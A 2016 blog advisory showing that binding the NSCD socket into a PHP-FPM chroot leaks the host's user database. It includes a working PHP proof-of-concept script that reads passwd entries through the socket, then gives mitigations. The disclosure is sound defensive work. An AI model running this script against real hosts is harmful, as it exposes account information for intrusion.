vennedey.net

NSCD socket in a PHP-FPM chroot leaks user database

On Wed, 20 Apr 2016 20:54:08 +0200 by Falco Nordmann

If you configure your web server to serve PHP scripts with PHP-FPM you have the option to execute the interpreter in a chrooted environment to prevent scripts to access files outside a given directory tree. While this is a great security feature, it comes with some drawbacks if the PHP scripts need resources from outside the chroot to do their work.

A common example is DNS resolution. If you try to resolve a hostname from inside a PHP-FPM chroot, it won't succeed until you make certain locations of the file system available inside the chroot.

A common workaround suggested by some tutorials is to bind the NSCD socket into the chroot.

root@webhost:~# mkdir -p /home/www/u000/chroot/var/run/nscd
root@webhost:~# touch /home/www/u000/chroot/var/run/nscd/socket
root@webhost:~# mount --bind /var/run/nscd/socket /home/www/u000/chroot/var/run/nscd/socket

This will solve the problem, and DNS resolution will work from inside the chroot.

But since NSCD does not just provide name resolution for domain names, but also for usernames and groups of the system, this configuration might also reveal sensitive information to the chroot.

As a proof of concept I wrote some code to demonstrate the possibility of querying user information from NSCD out of a PHP-FPM chroot.

nscd_passwd.php
<?php
	# PoC code to demonstrate querying user information from NSCD
	# out of a PHP-FPM chroot.
	  
	header('Content-Type: text/plain');
	$u = isset($_GET['u']) ? $_GET['u'] : 'root';
	$s = fsockopen('unix:///var/run/nscd/socket',-1,$en,$es);
	$s || die("Err $en:$es");
	fwrite($s,sprintf("\x02\0\0\0\0\0\0\0%c\0\0\0%s\0",strlen($u)+1,$u));
	$r = fread($s,2048);
	for($i=strlen($r)-2,$b='';;--$i)
		if($r{$i} === "\0") {
			if($r{$i+1} === "\0") break;
			echo strrev($b)."\n";
			$b='';
		} else
			$b .= $r{$i};
	fclose($s);
?>

Upload this script into a PHP-FPM chroot with an available NSCD socket and open it in your browser. Optionally, you can pass ?u=<username> to the script to get information on a certain user. If no username is supplied, root will be used.

This will output the passwd entry of the user:

/bin/bash
/root
root
x
root

To close this leak, you can configure NSCD to not serve any database except the hosts database by setting enable-cache to no for most entries in /etc/nscd.conf. However, this might have a negative impact on your overall system performance since user information has to be retrieved from the database directly.

A better alternative is to bind libnss_dns.so.2 and /etc/resolv.conf to the PHP-FPM chroot instead.

For Debian 8:

root@webhost:~# mkdir -p /home/www/u000/chroot/lib/x86_64-linux-gnu /home/www/u000/chroot/etc
root@webhost:~# touch /home/www/u000/chroot/lib/x86_64-linux-gnu/libnss_dns.so.2 /home/www/u000/chroot/etc/resolv.conf
root@webhost:~# mount --bind /lib/x86_64-linux-gnu/libnss_dns.so.2 /home/www/u000/chroot//lib/x86_64-linux-gnu/libnss_dns.so.2
root@webhost:~# mount -o "remount,ro" /home/www/u000/chroot/lib/x86_64-linux-gnu/libnss_dns.so.2
root@webhost:~# mount --bind /etc/resolv.conf /home/www/u000/chroot/etc/resolv.conf
root@webhost:~# mount -o "remount,ro" /home/www/u000/chroot/etc/resolv.conf

This will allow the interpreter to resolve domain names from inside the chroot and won't reveal the user database.

Comments

Write a comment
* optional